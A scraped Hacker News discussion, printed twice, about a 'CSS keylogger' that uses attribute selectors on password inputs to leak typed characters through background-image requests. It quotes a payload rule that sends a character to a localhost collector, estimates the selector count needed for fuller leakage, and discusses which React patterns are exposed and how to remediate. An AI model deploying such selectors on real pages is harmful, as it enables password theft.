9 ms·

Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so

Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value

maxchehab 9y ago
Author here. I believe the injection of the css in the chrome extension will only work in newer versions of chrome. However the "attack" would still work for all browsers. :)
- xab9 9y ago
  Nice job. Css had similar attacks maybe a decade ago, with link:visited (referer snooping) and image with src to a logged in site... but I like the selector trick. Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.
- Manishearth 9y ago
  This is incorrect. The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value). This means that both: - typing the password - setting the password via element.value=foo will not work The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.
akincisor 9y ago
I think it would work against password managers like LastPass which fill in passwords using JS.
- criswell 9y ago
  It would only give you the last character of the password though. You can use CSS selectors to check the start [value^=a] and anything in the middle [value*=a] as well though which can be revealing I imagine.
  - Klathmon 9y ago
    Well there's the start [value^=a], the end [value$=a] and the "anywhere" [value*=a] selectors. In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count) That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)
- bzbarsky 9y ago
  Not if they do it correctly (by setting .value on the password field)!
dclowd9901 9y ago
So wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?
- jaymzcampbell 9y ago
  The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } [0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...
- dmitrygr 9y ago
  No, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y" no permutations needed
  - gsnedders 9y ago
    Assuming the server receives the requests in the same order as the requests were sent, which on mobile networks isn't anywhere near so certain.
    - cag_ii 9y ago
      It'd be simple enough to add an 'order' identifier (request timestamp, etc) to the requests. Edit: nm. My mistake, not as easy as that using only css!
      - usrusr 9y ago
        Simple enough, in CSS?
        cag_ii 9y ago
theandrewbailey 9y ago
Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)
- kodablah 9y ago
  It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.
  - sgc 9y ago
    It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).
- jakobegger 9y ago
  Something like conditional formatting maybe? Eg. make negative values red? Make an input field red when it contains an invalid character?
  - theandrewbailey 9y ago
    Sounds like the pattern attribute and :invalid selector on <input> will do that. https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-pattern https://developer.mozilla.org/en-US/docs/Web/HTML/Element/in...
    - thefifthsetpin 9y ago
      What if it's valid? There's a reason we have the phrases "in the red" and "in the black." Another example where reading the input might be nice: input[type="cc-number"][value^="4"]+.cc-system-icon { background-image: url('visa.png'); }input[type="cc-number"][value^="5"]+.cc-system-icon { background-image: url('master-card.png'); }
oblosys 9y ago
If you use React, updating the value on every change is a very common pattern.
- criswell 9y ago
  Hopefully most are updating the property and not the attribute.
  - humblebee 9y ago
    It updates the attribute, you can see this pretty easily by going to the Instagram website. If you inspect the password field in the browser, when you type in a value you can see it reflected on the `value` attribute of the input element.
  - vog 9y ago
    But that requires extra work, compared to simple JSX-based React code, doesn't it?
  - poxrud 9y ago
    For those that are confused, updating the property would mean: this.input.value = 'password'; This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like: <input type="text" value={this.state.value} onChange={this.handleChange} /> This would be vulnerable to the the CSS keylogger.
    - Cyranix 9y ago
      I believe using `defaultValue` instead of `value` would be an appropriate remediation.
      - elliotec 9y ago
        Do you mind expanding on this a little? Or linking to a documentation or something
arca_vorago 9y ago
One more reason to hate javascript as used and abused by modern "webdevs" and block it all unless absolutely necessary. I try very hard to keep my pages pure css and html.
- elliotec 9y ago
  ...What?
  - gear54rus 9y ago
    just the first stage of 'I hate JS because it's cool to hate JS' second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'
    - na85 9y ago
      No, that's not it at all. It's the only reasonable response to the user-hostile dumpster fire that is the current web. Javascript has made the web better in a small handful of ways, and made the web significantly worse in every other way.
- phoenix616 9y ago
  Yeah, I have JavaScript disabled by default with uMatrix and it's a pretty annoying trend that almost every second page — even a static one page site — needs JavaScript to display anything
- kakarot 9y ago
  I try very hard to keep my pages pure css and html. That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.

maxchehab 9y ago

Author here. I believe the injection of the css in the chrome extension will only work in newer versions of chrome. However the "attack" would still work for all browsers. :)

xab9 9y ago
Nice job. Css had similar attacks maybe a decade ago, with link:visited (referer snooping) and image with src to a logged in site... but I like the selector trick. Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.
Manishearth 9y ago
This is incorrect. The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value). This means that both: - typing the password - setting the password via element.value=foo will not work The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.

akincisor 9y ago

I think it would work against password managers like LastPass which fill in passwords using JS.

criswell 9y ago
It would only give you the last character of the password though. You can use CSS selectors to check the start [value^=a] and anything in the middle [value*=a] as well though which can be revealing I imagine.
- Klathmon 9y ago
  Well there's the start [value^=a], the end [value$=a] and the "anywhere" [value*=a] selectors. In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count) That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)
bzbarsky 9y ago
Not if they do it correctly (by setting .value on the password field)!

dclowd9901 9y ago

So wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?

jaymzcampbell 9y ago
The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } [0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...
dmitrygr 9y ago
No, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y" no permutations needed
- gsnedders 9y ago
  Assuming the server receives the requests in the same order as the requests were sent, which on mobile networks isn't anywhere near so certain.
  - cag_ii 9y ago
    It'd be simple enough to add an 'order' identifier (request timestamp, etc) to the requests. Edit: nm. My mistake, not as easy as that using only css!
    - usrusr 9y ago
      Simple enough, in CSS?
      - cag_ii 9y ago

theandrewbailey 9y ago

Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)

kodablah 9y ago
It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.
- sgc 9y ago
  It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).
jakobegger 9y ago
Something like conditional formatting maybe? Eg. make negative values red? Make an input field red when it contains an invalid character?
- theandrewbailey 9y ago
  Sounds like the pattern attribute and :invalid selector on <input> will do that. https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-pattern https://developer.mozilla.org/en-US/docs/Web/HTML/Element/in...
  - thefifthsetpin 9y ago
    What if it's valid? There's a reason we have the phrases "in the red" and "in the black." Another example where reading the input might be nice: input[type="cc-number"][value^="4"]+.cc-system-icon { background-image: url('visa.png'); }input[type="cc-number"][value^="5"]+.cc-system-icon { background-image: url('master-card.png'); }

oblosys 9y ago

If you use React, updating the value on every change is a very common pattern.

criswell 9y ago
Hopefully most are updating the property and not the attribute.
- humblebee 9y ago
  It updates the attribute, you can see this pretty easily by going to the Instagram website. If you inspect the password field in the browser, when you type in a value you can see it reflected on the `value` attribute of the input element.
- vog 9y ago
  But that requires extra work, compared to simple JSX-based React code, doesn't it?
- poxrud 9y ago
  For those that are confused, updating the property would mean: this.input.value = 'password'; This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like: <input type="text" value={this.state.value} onChange={this.handleChange} /> This would be vulnerable to the the CSS keylogger.
  - Cyranix 9y ago
    I believe using `defaultValue` instead of `value` would be an appropriate remediation.
    - elliotec 9y ago
      Do you mind expanding on this a little? Or linking to a documentation or something

arca_vorago 9y ago

One more reason to hate javascript as used and abused by modern "webdevs" and block it all unless absolutely necessary. I try very hard to keep my pages pure css and html.

elliotec 9y ago
...What?
- gear54rus 9y ago
  just the first stage of 'I hate JS because it's cool to hate JS' second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'
  - na85 9y ago
    No, that's not it at all. It's the only reasonable response to the user-hostile dumpster fire that is the current web. Javascript has made the web better in a small handful of ways, and made the web significantly worse in every other way.
phoenix616 9y ago
Yeah, I have JavaScript disabled by default with uMatrix and it's a pretty annoying trend that almost every second page — even a static one page site — needs JavaScript to display anything
kakarot 9y ago
I try very hard to keep my pages pure css and html. That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.